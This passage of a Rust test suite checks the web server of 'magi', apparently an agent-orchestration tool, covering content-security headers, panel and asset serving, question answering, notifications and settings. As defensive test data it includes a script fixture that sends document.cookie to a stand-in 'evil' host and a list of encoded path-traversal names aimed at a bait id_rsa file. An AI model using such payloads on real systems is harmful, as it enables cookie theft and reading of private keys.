7054    /// that owns it, and spend real agent quota on a real competition.
7055    fn launch_idle(
7056        _opts: daemon::Opts,
7057        stop: daemon::Stop,
7058    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7059        Box::pin(async move {
7060            while !stop.stopped() {
7061                tokio::time::sleep(Duration::from_millis(2)).await;
7062            }
7063            Ok(())
7064        })
7065    }
7066
7067    /// A loop that fails on the way up, the way one whose home has gone
7068    /// read-only does.
7069    fn launch_broken(
7070        _opts: daemon::Opts,
7071        _stop: daemon::Stop,
7072    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7073        Box::pin(async {
7074            Err(anyhow::anyhow!(
7075                "publish the daemon status file: read-only file system"
7076            ))
7077        })
7078    }
7079
7080    /// The address the parking loop knocks on, and what it heard there.
7081    ///
7082    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7083    /// capture a fixture's address; this is how it is handed one. Only
7084    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7085    /// these, so nothing else in this binary can race them.
7086    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7087    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7088
7089    /// A loop that, once it is asked to stop, checks the deck still answers
7090    /// before it goes.
7091    ///
7092    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7093    /// so the request it makes is strictly inside the park window - no sleep
7094    /// and no polling needed to be sure of that.
7095    fn launch_knocking_on_the_way_out(
7096        _opts: daemon::Opts,
7097        stop: daemon::Stop,
7098    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7099        Box::pin(async move {
7100            while !stop.stopped() {
7101                tokio::time::sleep(Duration::from_millis(2)).await;
7102            }
7103            let addr = PARK_KNOCK
7104                .lock()
7105                .expect("park knock")
7106                .expect("the test set an address");
7107            let heard = request(addr, "GET", "/api/health", None).await.status;
7108            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7109            Ok(())
7110        })
7111    }
7112
7113    /// The loop view once `want` accepts it.
7114    ///
7115    /// Polled rather than asserted straight after the POST because stopping
7116    /// is deliberately not instant - that is the contract - and rather than
7117    /// slept through because a fixed wait is either flaky or slow.
7118    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7119    /// finite, so a genuine hang fails the test instead of hanging the
7120    /// suite.
7121    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7122        for _ in 0..SETTLE_STEPS {
7123            let view = fx.get("/api/loop").await.json();
7124            if want(&view) {
7125                return view;
7126            }
7127            tokio::time::sleep(Duration::from_millis(10)).await;
7128        }
7129        panic!(
7130            "the loop never settled: {}",
7131            fx.get("/api/loop").await.json()
7132        );
7133    }
7134
7135    /// File an open question directly in the store the server reads.
7136    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7137        let store = fx.questions();
7138        let mut q = Question::new(
7139            "20260902-000000-beef".to_owned(),
7140            "implement".to_owned(),
7141            "impl-A".to_owned(),
7142            summary.to_owned(),
7143            "because it matters".to_owned(),
7144            choices.iter().map(|c| (*c).to_owned()).collect(),
7145        );
7146        store.put(&mut q).expect("put question");
7147        q.id
7148    }
7149
7150    /// A question with a panel the server can serve, plus the named assets.
7151    ///
7152    /// Written through `Questions::put_panel` rather than by laying out the
7153    /// directory here, so these tests exercise the same on-disk shape the
7154    /// agents produce and cannot pass against a layout only the tests know.
7155    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7156        let store = fx.questions();
7157        let mut q = Question::new(
7158            "20260902-000000-beef".to_owned(),
7159            "land".to_owned(),
7160            "fix".to_owned(),
7161            "Merge this?".to_owned(),
7162            "the diff is in the panel".to_owned(),
7163            vec!["merge".to_owned(), "hold".to_owned()],
7164        );
7165        // Staged outside the questions root, because `put_panel` copies from
7166        // wherever the agent left its files.
7167        let staging = fx.home.path().join("staging");
7168        std::fs::create_dir_all(&staging).expect("staging dir");
7169        let sources: Vec<PathBuf> = assets
7170            .iter()
7171            .map(|(name, bytes)| {
7172                let path = staging.join(name);
7173                std::fs::write(&path, bytes).expect("write staged asset");
7174                path
7175            })
7176            .collect();
7177        store
7178            .put_panel(&mut q, html, &sources)
7179            .expect("write the panel");
7180        store.put(&mut q).expect("put question");
7181        q.id
7182    }
7183
7184    /// A talk on disk, without talking to a model.
7185    ///
7186    /// Written as JSON straight into the store the server reads, because the
7187    /// only constructor `talk::begin` offers takes no turn but still requires
7188    /// a real caller-visible flow. The one thing this cannot make up is the
7189    /// seat, so it is built with the real `SeatState::new` and serialized -
7190    /// the alternative, hand-writing that object, would make these tests fail
7191    /// the day the seat gains a field.
7192    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7193        let store = fx.talks();
7194        std::fs::create_dir_all(store.root()).expect("talks dir");
7195        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7196            .expect("serialize a seat");
7197        let body = serde_json::json!({
7198            "schema": 1,
7199            "id": id,
7200            "repo": "/repo/magi",
7201            "agent": "mock",
7202            "status": status,
7203            "turns": [],
7204            "created_at": Timestamp::now().to_string(),
7205            "updated_at": Timestamp::now().to_string(),
7206            "seat": seat,
7207        });
7208        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7209        store.get(id).expect("the seeded talk has to be readable");
7210        id.to_owned()
7211    }
7212
7213    #[tokio::test]
7214    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7215        let fx = Fixture::start().await;
7216        let id = panel(
7217            &fx,
7218            "<h1>Merge?</h1><img src=\"diff.svg\">",
7219            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7220        );
7221
7222        for path in [
7223            format!("/api/questions/{id}/panel"),
7224            format!("/api/questions/{id}/asset/diff.svg"),
7225        ] {
7226            let res = fx.get(&path).await;
7227            assert_eq!(res.status, 200, "{path}: {}", res.body);
7228            // The whole string, not a substring. A weakened directive - an
7229            // `img-src *` that lets a panel beacon out to a remote host, a
7230            // `script-src` anything, a missing `form-action` that lets it post
7231            // the owner's decision to a third party - has to fail here, and a
7232            // `contains` assertion would let every one of those through.
7233            assert_eq!(
7234                res.header("content-security-policy"),
7235                Some(
7236                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7237                     font-src data:; base-uri 'none'; form-action 'none'; \
7238                     frame-ancestors 'self'"
7239                ),
7240                "{path} is the only thing between a hostile panel and the tailnet"
7241            );
7242            assert_eq!(
7243                res.header("x-content-type-options"),
7244                Some("nosniff"),
7245                "{path}: a browser must not re-decide the type we sent"
7246            );
7247            assert_eq!(
7248                res.header("referrer-policy"),
7249                Some("no-referrer"),
7250                "{path}: a panel must not leak the question id off the machine"
7251            );
7252
7253            // The front end mounts the frame only after a `HEAD` says the
7254            // panel is there, so `HEAD` has to answer with the same status and
7255            // the same policy as `GET` - a preflight that came back without
7256            // the CSP would mean a frame mounted on an unverified promise.
7257            let pre = fx.head(&path).await;
7258            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7259            assert_eq!(
7260                pre.header("content-security-policy"),
7261                res.header("content-security-policy"),
7262                "{path}: the preflight carries the same policy"
7263            );
7264            assert_eq!(
7265                pre.header("content-type"),
7266                res.header("content-type"),
7267                "{path}: the preflight carries the same type"
7268            );
7269        }
7270    }
7271
7272    #[tokio::test]
7273    async fn a_panel_reaches_the_browser_byte_for_byte() {
7274        let fx = Fixture::start().await;
7275        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7276        // tag, an entity, and a multi-byte character. The sandbox is what makes
7277        // this safe, so nothing here may be rewritten on the way out - a
7278        // rewritten diff is a diff the owner cannot trust.
7279        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7280        let id = panel(&fx, html, &[]);
7281
7282        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7283
7284        assert_eq!(res.status, 200);
7285        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7286        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7287        assert_eq!(
7288            res.header("content-disposition"),
7289            None,
7290            "the panel itself is rendered in the frame, not downloaded"
7291        );
7292    }
7293
7294    #[tokio::test]
7295    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7296        let fx = Fixture::start().await;
7297        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7298        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7299        let id = panel(
7300            &fx,
7301            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7302            &[("diff.svg", svg), ("shot.png", png)],
7303        );
7304
7305        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7306        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7307
7308        assert_eq!(as_svg.status, 200);
7309        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7310        // An SVG is XML that may carry script. Inside the panel it is an
7311        // `<img src>` and the script cannot run; opened at the top level it
7312        // would be a document on magi's own origin, so the browser is told to
7313        // download it instead of rendering it.
7314        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7315
7316        assert_eq!(as_png.status, 200);
7317        assert_eq!(as_png.header("content-type"), Some("image/png"));
7318        assert_eq!(
7319            as_png.header("content-disposition"),
7320            None,
7321            "a raster image has no execution surface, so tapping it still shows it"
7322        );
7323        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7324    }
7325
7326    #[tokio::test]
7327    async fn an_html_asset_is_never_served_as_html() {
7328        let fx = Fixture::start().await;
7329        let id = panel(
7330            &fx,
7331            "<p>see the notes</p>",
7332            &[
7333                (
7334                    "notes.html",
7335                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7336                ),
7337                ("hook.js", b"fetch('http://evil/')"),
7338                ("data.json", b"{}"),
7339                ("HEADLINE.TXT", b"plain"),
7340            ],
7341        );
7342
7343        for name in ["notes.html", "hook.js", "data.json"] {
7344            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7345            assert_eq!(res.status, 200, "{name}: {}", res.body);
7346            // Serving this as text/html would be a way to reach agent markup
7347            // at the top level of the operator's browser, outside the frame's
7348            // sandbox and outside its CSP - which is the whole thing the panel
7349            // design exists to prevent. Unlisted types are downloads.
7350            assert_eq!(
7351                res.header("content-type"),
7352                Some("application/octet-stream"),
7353                "{name} must not be a type the browser will execute or render"
7354            );
7355        }
7356        // The whitelist is matched case-insensitively, so an agent shouting the
7357        // extension still gets a readable file rather than a download.
7358        let txt = fx
7359            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7360            .await;
7361        assert_eq!(
7362            txt.header("content-type"),
7363            Some("text/plain; charset=utf-8")
7364        );
7365    }
7366
7367    #[tokio::test]
7368    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7369        let fx = Fixture::start().await;
7370        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7371        // Something outside the panel directory that a traversal would reach if
7372        // one got through, so a passing test is not merely "the file was
7373        // missing anyway".
7374        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7375
7376        // Decoded before this server's handler sees them: axum percent-decodes
7377        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7378        // string with a NUL in it. All three look like ordinary single-segment
7379        // filenames to the router, so the router passes them through and
7380        // `valid_asset_name` is what refuses them - for the literal `..`, and
7381        // for `/`, `\` and NUL not being in the permitted character set.
7382        for encoded in [
7383            "%2e%2e%2fid_rsa",
7384            "..%2fid_rsa",
7385            "..%5cid_rsa",
7386            "%2e%2e%5cid_rsa",
7387            "diff%00.svg",
7388            "..",
7389            ".hidden",
7390            "%2e%2e%2f%2e%2e%2fid_rsa",
7391        ] {
7392            let res = fx
7393                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7394                .await;
7395            assert_eq!(
7396                res.status, 400,
7397                "`{encoded}` has to be refused by name, not looked up: {}",
7398                res.body
7399            );
7400            assert!(res.json()["error"].is_string(), "{}", res.body);
7401        }
7402
7403        // Not decoded, and never this handler's problem: a real slash makes the
7404        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7405        // so axum's router has no route to match and answers before any code
7406        // here runs. Asserted so that a future route with a wildcard segment
7407        // cannot quietly open this door.
7408        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7409            let res = fx
7410                .get(&format!("/api/questions/{id}/asset/{literal}"))
7411                .await;
7412            assert_eq!(
7413                res.status, 404,
7414                "`{literal}` must not match the asset route at all: {}",
7415                res.body
7416            );
7417        }
7418    }
7419
7420    #[tokio::test]
7421    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7422        let fx = Fixture::start().await;
7423        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7424        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7425
7426        // A question nobody wrote a panel for. The client preflights with HEAD
7427        // and cannot see inside a sandboxed frame, so this must be a status and
7428        // not an empty page.
7429        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7430        assert_eq!(none.status, 404, "{}", none.body);
7431        assert!(none.json()["error"].is_string(), "{}", none.body);
7432        assert_eq!(
7433            fx.head(&format!("/api/questions/{plain}/panel"))
7434                .await
7435                .status,
7436            404,
7437            "the preflight is the only way the client can learn this"
7438        );
7439
7440        // A name that is perfectly legal and simply is not there.
7441        let missing = fx
7442            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7443            .await;
7444        assert_eq!(missing.status, 404, "{}", missing.body);
7445        assert!(missing.json()["error"].is_string(), "{}", missing.body);
7446
7447        // A question that does not exist at all, on both routes.
7448        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7449        assert_eq!(
7450            fx.get("/api/questions/nope/asset/diff.svg").await.status,
7451            404
7452        );
7453    }
7454
7455    #[tokio::test]
7456    async fn a_run_with_an_open_question_reads_as_waiting() {
7457        let fx = Fixture::start().await;
7458        let run = "20260902-000000-beef".to_owned();
7459        write_run(&fx.runs(), &run, RunStatus::Implementing);
7460
7461        let before = fx.get("/api/runs").await.json();
7462        assert_eq!(before[0]["waiting"], false, "{before}");
7463
7464        let store = fx.questions();
7465        let mut q = Question::new(
7466            run.clone(),
7467            "implement".to_owned(),
7468            "impl-A".to_owned(),
7469            "Which backend?".to_owned(),
7470            String::new(),
7471            vec!["SQLite".to_owned()],
7472        );
7473        store.put(&mut q).expect("put");
7474
7475        let during = fx.get("/api/runs").await.json();
7476        assert_eq!(during[0]["waiting"], true, "{during}");
7477
7478        // Answered: the run is moving again, and the flag has to follow without
7479        // anything having rewritten run.json.
7480        q.answer(Answer::Choice("SQLite".to_owned()))
7481            .expect("answer");
7482        store.put(&mut q).expect("put");
7483        let after = fx.get("/api/runs").await.json();
7484        assert_eq!(after[0]["waiting"], false, "{after}");
7485    }
7486
7487    #[tokio::test]
7488    async fn an_open_question_is_listed_and_counted_by_health() {
7489        let fx = Fixture::start().await;
7490        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7491
7492        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7493        let listed = fx.get("/api/questions").await.json();
7494        assert_eq!(listed.as_array().expect("array").len(), 1);
7495        assert_eq!(listed[0]["id"], id);
7496        assert_eq!(listed[0]["status"], "open");
7497        assert_eq!(listed[0]["choices"][1], "Redis");
7498        // The count is what makes the phone's indicator honest: it is the one
7499        // number meaning nothing will move until a human acts.
7500        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7501    }
7502
7503    #[tokio::test]
7504    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7505        let fx = Fixture::start().await;
7506        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7507        let path = format!("/api/questions/{id}/answer");
7508
7509        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7510        assert_eq!(res.status, 200, "{}", res.body);
7511        let body = res.json();
7512        assert_eq!(body["status"], "answered");
7513        assert_eq!(body["answer"]["choice"], "Redis");
7514
7515        // Answered from the terminal in between the list and the tap: the UI
7516        // must be able to tell this from a bad request, so it can show the
7517        // recorded answer instead of an error.
7518        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7519        assert_eq!(again.status, 409, "{}", again.body);
7520        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7521    }
7522
7523    #[tokio::test]
7524    async fn saying_something_appends_a_turn_without_answering() {
7525        let fx = Fixture::start().await;
7526        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7527        let path = format!("/api/questions/{id}/say");
7528
7529        let res = fx
7530            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7531            .await;
7532        assert_eq!(res.status, 200, "{}", res.body);
7533        let body = res.json();
7534        assert_eq!(body["status"], "open", "talking back is not a decision");
7535        assert_eq!(body["answer"], Value::Null);
7536        assert_eq!(body["thread"][0]["who"], "operator");
7537        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7538        assert_eq!(body["waiting_on_agent"], true);
7539        // Still open, still counted, still exactly one question.
7540        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7541    }
7542
7543    #[tokio::test]
7544    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7545        let fx = Fixture::start().await;
7546        let store = fx.questions();
7547        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7548        assert_eq!(
7549            fx.get("/api/health").await.json()["questions_needs_owner"],
7550            1
7551        );
7552
7553        // The owner asks back instead of deciding: the ask bar, the nav badge
7554        // and the title must stop naming this question, because there is
7555        // nothing to decide until the agent answers - `status` alone cannot
7556        // say that, which is the whole reason `questions_needs_owner` exists
7557        // alongside `questions_open`.
7558        let res = fx
7559            .post(
7560                &format!("/api/questions/{id}/say"),
7561                Some(r#"{"body":"why not Postgres?"}"#),
7562            )
7563            .await;
7564        assert_eq!(res.status, 200, "{}", res.body);
7565        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7566        assert_eq!(
7567            fx.get("/api/health").await.json()["questions_needs_owner"],
7568            0,
7569            "waiting on the agent is not waiting on the owner"
7570        );
7571
7572        // `magi ask --thread` replying is what brings the owner count back -
7573        // the same event that would resume the CLI call blocked in `magi
7574        // ask`.
7575        let mut q = store.get(&id).expect("get");
7576        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7577            .expect("reply");
7578        store.put(&mut q).expect("put");
7579        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7580        assert_eq!(
7581            fx.get("/api/health").await.json()["questions_needs_owner"],
7582            1,
7583            "the agent's reply is what should light the banner back up"
7584        );
7585    }
7586
7587    #[tokio::test]
7588    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7589        let fx = Fixture::start().await;
7590        let store = fx.questions();
7591
7592        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7593        let res = fx
7594            .post(
7595                &format!("/api/questions/{empty_id}/say"),
7596                Some(r#"{"body":"   "}"#),
7597            )
7598            .await;
7599        assert_eq!(res.status, 400, "{}", res.body);
7600
7601        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7602        let mut answered = store.get(&answered_id).expect("get");
7603        answered
7604            .answer(Answer::Choice("SQLite".to_owned()))
7605            .expect("answer");
7606        store.put(&mut answered).expect("put");
7607        let res = fx
7608            .post(
7609                &format!("/api/questions/{answered_id}/say"),
7610                Some(r#"{"body":"still there?"}"#),
7611            )
7612            .await;
7613        assert_eq!(res.status, 409, "{}", res.body);
7614
7615        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7616        let mut abandoned = store.get(&abandoned_id).expect("get");
7617        abandoned.abandon("timed out");
7618        store.put(&mut abandoned).expect("put");
7619        let res = fx
7620            .post(
7621                &format!("/api/questions/{abandoned_id}/say"),
7622                Some(r#"{"body":"still there?"}"#),
7623            )
7624            .await;
7625        assert_eq!(res.status, 409, "{}", res.body);
7626    }
7627
7628    #[tokio::test]
7629    async fn an_answer_the_question_does_not_offer_is_refused() {
7630        let fx = Fixture::start().await;
7631        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7632        let path = format!("/api/questions/{id}/answer");
7633
7634        for body in [
7635            r#"{"choice":"Postgres"}"#,
7636            r#"{"text":"whatever you think"}"#,
7637            r#"{"choice":"Redis","text":"both"}"#,
7638            r#"{}"#,
7639        ] {
7640            let res = fx.post(&path, Some(body)).await;
7641            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7642            assert!(res.json()["error"].is_string(), "{}", res.body);
7643        }
7644        // Nothing above may have answered it.
7645        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7646    }
7647
7648    #[tokio::test]
7649    async fn a_free_text_question_takes_text_and_not_a_choice() {
7650        let fx = Fixture::start().await;
7651        let id = ask(&fx, "What should the flag be called?", &[]);
7652        let path = format!("/api/questions/{id}/answer");
7653
7654        assert_eq!(
7655            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7656            400
7657        );
7658        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7659        assert_eq!(res.status, 200, "{}", res.body);
7660        assert_eq!(res.json()["answer"]["text"], "--json");
7661    }
7662
7663    #[tokio::test]
7664    async fn an_unknown_question_is_a_json_404() {
7665        let fx = Fixture::start().await;
7666        let res = fx
7667            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7668            .await;
7669        assert_eq!(res.status, 404, "{}", res.body);
7670        assert!(res.json()["error"].is_string());
7671    }
7672
7673    #[tokio::test]
7674    async fn notifications_list_read_dismiss_and_health_agree() {
7675        let fx = Fixture::start().await;
7676        let store = Notices::at(fx.home.path().join("notifications"));
7677        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7678        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7679
7680        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7681        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7682
7683        let health = fx.get("/api/health").await.json();
7684        assert_eq!(health["notifications_unread"], 2);
7685        assert_ne!(
7686            health["notifications_rev"], rev0,
7687            "the badge must move live"
7688        );
7689
7690        let listed = fx.get("/api/notifications").await.json();
7691        assert_eq!(listed["unread"], 2);
7692        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7693        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7694
7695        let read = fx
7696            .post(&format!("/api/notifications/{}/read", a.id), None)
7697            .await;
7698        assert_eq!(read.status, 200, "{}", read.body);
7699        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7700
7701        let gone = fx
7702            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7703            .await;
7704        assert_eq!(gone.status, 200, "{}", gone.body);
7705        let listed = fx.get("/api/notifications").await.json();
7706        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7707        assert_eq!(listed["unread"], 0);
7708
7709        store.raise(Notice::info("x", "again")).unwrap();
7710        let all = fx.post("/api/notifications/read-all", None).await;
7711        assert_eq!(all.status, 200, "{}", all.body);
7712        assert_eq!(all.json()["marked"], 1);
7713        assert_eq!(
7714            fx.get("/api/health").await.json()["notifications_unread"],
7715            0
7716        );
7717
7718        let missing = fx.post("/api/notifications/nope/read", None).await;
7719        assert_eq!(missing.status, 404, "{}", missing.body);
7720        assert!(missing.json()["error"].is_string());
7721    }
7722
7723    /// New work reaches the queue through `magi task add`, a standing talk's
7724    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
7725    /// so the compose form and that route are gone. The tests that covered
7726    /// that route's validation went with it, and nothing was left asserting
7727    /// it stays gone — so a re-added handler would silently let the phone
7728    /// file briefs no one validated.
7729    #[tokio::test]
7730    async fn a_task_cannot_be_filed_over_the_phone_directly() {
7731        let f = Fixture::start().await;
7732
7733        let res = f
7734            .post(
7735                "/api/queue",
7736                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7737            )
7738            .await;
7739
7740        assert_eq!(
7741            res.status, 405,
7742            "POST /api/queue must not be a route: {}",
7743            res.body
7744        );
7745        assert!(
7746            f.queue().list().is_empty(),
7747            "a task filed by a route that does not exist must not reach the disk"
7748        );
7749        // The path itself is still served — the Queue view reads it — and the
7750        // per-task controls are untouched by the entry being removed.
7751        assert_eq!(f.get("/api/queue").await.status, 200);
7752    }
7753
7754    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
7755    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7756        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7757            .expect("checkout dir");
7758    }
7759
7760    /// Two command agents, so a config needs no real CLI.
7761    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7762
7763    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7764        let tmp = TempDir::new().expect("tempdir");
7765        let repo = tmp.path().join("repo");
7766        std::fs::create_dir_all(&repo).expect("repo dir");
7767        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7768        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7769        if let Some(text) = machine_toml {
7770            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7771            std::fs::write(&machine, text).expect("machine toml");
7772        }
7773        (tmp, repo, machine)
7774    }
7775
7776    #[tokio::test]
7777    async fn settings_get_reports_sources_and_the_advisors_fallback() {
7778        let (_tmp, repo, machine) =
7779            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7780        let f = Fixture::with_repo_and_machine(repo, machine).await;
7781        let res = f.get("/api/settings").await;
7782        assert_eq!(res.status, 200, "{}", res.body);
7783        let v = res.json();
7784        assert!(v["error"].is_null(), "{v}");
7785        let role = |k: &str| {
7786            v["roles"]
7787                .as_array()
7788                .and_then(|r| r.iter().find(|x| x["key"] == k))
7789                .cloned()
7790                .unwrap_or_else(|| panic!("no role {k}: {v}"))
7791        };
7792        assert_eq!(role("judges")["source"], "machine");
7793        assert_eq!(role("judges")["editable"], true);
7794        assert_eq!(role("implementers")["source"], "default");
7795        let adv = role("advisors");
7796        assert_eq!(adv["fallback"], "judges");
7797        assert!(
7798            adv["seats"]
7799                .as_array()
7800                .is_some_and(|s| s.iter().all(|x| x == "b")),
7801            "{adv}"
7802        );
7803        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7804        assert_eq!(v["agents"][0]["source"], "repo");
7805    }
7806
7807    #[tokio::test]
7808    async fn settings_get_reports_a_config_that_does_not_parse() {
7809        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7810        let f = Fixture::with_repo_and_machine(repo, machine).await;
7811        let res = f.get("/api/settings").await;
7812        assert_eq!(res.status, 200, "{}", res.body);
7813        let v = res.json();
7814        assert!(v["error"]["message"].is_string(), "{v}");
7815        assert!(
7816            v["error"]["path"]
7817                .as_str()
7818                .is_some_and(|p| p.ends_with("magi.toml")),
7819            "{v}"
7820        );
7821        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7822    }
7823
7824    #[tokio::test]
7825    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7826        let (_tmp, repo, machine) = settings_dirs(
7827            SETTINGS_AGENTS,
7828            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
7829        );
7830        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7831        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7832        let rev = f.get("/api/settings").await.json()["revision"]
7833            .as_str()
7834            .expect("revision")
7835            .to_owned();
7836        let body = serde_json::json!({
7837            "revision": rev,
7838            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7839        })
7840        .to_string();
7841        let res = f.put("/api/settings/roles", &body).await;
7842        assert_eq!(res.status, 200, "{}", res.body);
7843        let text = std::fs::read_to_string(&machine).expect("machine");
7844        assert_eq!(
7845            text,
7846            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7847        );
7848        assert_eq!(
7849            std::fs::read(repo.join("magi.toml")).expect("read"),
7850            repo_before
7851        );
7852        let again = f.get("/api/settings").await.json();
7853        let judges = again["roles"]
7854            .as_array()
7855            .expect("roles")
7856            .iter()
7857            .find(|r| r["key"] == "judges")
7858            .expect("judges")
7859            .clone();
7860        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7861        // The old revision is now stale.
7862        let stale = f.put("/api/settings/roles", &body).await;
7863        assert_eq!(stale.status, 409, "{}", stale.body);
7864    }
7865
7866    #[tokio::test]
7867    async fn settings_put_refuses_without_touching_the_file() {
7868        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7869        let (_tmp, repo, machine) = settings_dirs(
7870            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7871            Some(machine_text),
7872        );
7873        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7874        let rev = f.get("/api/settings").await.json()["revision"]
7875            .as_str()
7876            .expect("revision")
7877            .to_owned();
7878        for roles in [
7879            serde_json::json!({ "judges": ["nope"] }),
7880            serde_json::json!({ "reviewers": ["b"] }),
7881            serde_json::json!({ "bogus": ["a"] }),
7882        ] {
7883            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7884            let res = f.put("/api/settings/roles", &body).await;
